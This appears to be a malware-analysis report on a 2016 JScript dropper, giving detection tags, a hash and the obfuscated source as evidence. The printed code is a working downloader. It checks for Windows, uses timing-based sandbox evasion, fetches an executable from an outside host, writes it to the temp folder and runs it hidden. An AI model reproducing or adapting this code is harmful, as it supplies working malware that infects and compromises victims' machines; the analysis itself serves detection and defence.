20160328_e396e17002935c580569c9883531e707.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256d4bb6a5eb5f0b5b58f20aaef3ef69760c83e9b9abf8c09df6850c6d38f6a8a09
Evidence
1var Xemtqc = false;
2var Mtseftthfv = "CreateObject";
3var Rqwaez = function Ransn() {return WScript[Mtseftthfv]("WScript.Shell");}();
4var Imqiditi = 123213;
5var Qlmjf = "MSXML2.XMLHTTP";
6var Jxfqlix = 2123213;
7var Ubodxryyya = 0;
8function Dxomwgkz(Gctyqyret){Rqwaez["Run"](Gctyqyret, Ubodxryyya, Ubodxryyya);};
9function Svzehozl(){return Qlmjf;};
10function Xrbzzwu(Hbtjkhdcdf, Zekasmz){return Hbtjkhdcdf - Zekasmz;};
11function Ghfxpg(){return Mtseftthfv;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Xemtqc = true;
15 @end
16@*/
17var Dsoygzysbs = "";
18if (Xemtqc)
19{
20function Fverr(){return 22;};
21var Bqvleieals = 0; var Kkbserck = 0;
22function Ogyzhgr()
23{
24var Safdyxx = new this["Date"]();
25var Rozirt = Safdyxx["getUTCMilliseconds"]();
26WScript["Sleep"](Fverr());
27var Safdyxx = new this["Date"]();
28var Yzmmrexb = Safdyxx["getUTCMilliseconds"]();
29WScript["Sleep"](Fverr());
30var Safdyxx = new this["Date"]();
31var Rbzmogprli = Safdyxx["getUTCMilliseconds"]();
32var Bqvleieals = "Qcpqia";
33Bqvleieals = Xrbzzwu(Yzmmrexb, Rozirt);
34var Kkbserck = "Tmtqw";
35Kkbserck = Xrbzzwu(Rbzmogprli, Yzmmrexb);
36Dsoygzysbs = "open";
37return Xrbzzwu(Bqvleieals, Kkbserck);
38}
39var Adcbpc = false;
40var Gviddurprx = false;
41for (var Jkfcqhceks = Ubodxryyya; Jkfcqhceks < Fverr() * 1; Jkfcqhceks++){if (Ogyzhgr() != Ubodxryyya …
49:4… (Adcbpc && Rwlkc() && Gviddurprx){
50function Goekymqq() {return Rqwaez["ExpandEnvironmentStrings"]("%TEMP%/") + "oxiDkARQUQR7.exe";};
51 Pqlbwpg = Svzehozl();
52 Shwuxhqxt = WScript[Mtseftthfv](Pqlbwpg);
53 var Thnlfj = 1;
54 while (Thnlfj){
55try {
56Shwuxhqxt[Dsoygzysbs]("GET", "http://zapableapp.com/l1sape", false);
57Shwuxhqxt["send"]();
58Taraikq = "Sleep";
59do {WScript[Taraikq](Fverr() * 11)} while (Shwuxhqxt["readystate"] < 4 );
60Thnlfj = Ubodxryyya;
61} catch(Xkvigy){Thnlfj = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Majuj(Vpnsuhdoc) {var Sxelkpw = (1, 2, 3, 4, 5, Vpnsuhdoc); return Sxelkpw;};
64Xowpxvlu = WScript[Ghfxpg()]("ADODB.Stream");
65Pqlbwpg = Xowpxvlu;
66Pqlbwpg[Dsoygzysbs]();
67Pqlbwpg["type"] = Majuj(1);
68Pqlbwpg["write"](Shwuxhqxt["ResponseBody"]);
69Xowpxvlu["position"] = Majuj(Ubodxryyya);
70Pqlbwpg["SaveToFile"](Goekymqq(), Majuj(2) );
71Xowpxvlu["close"]();
72Dxomwgkz(Goekymqq());
73}
74}
75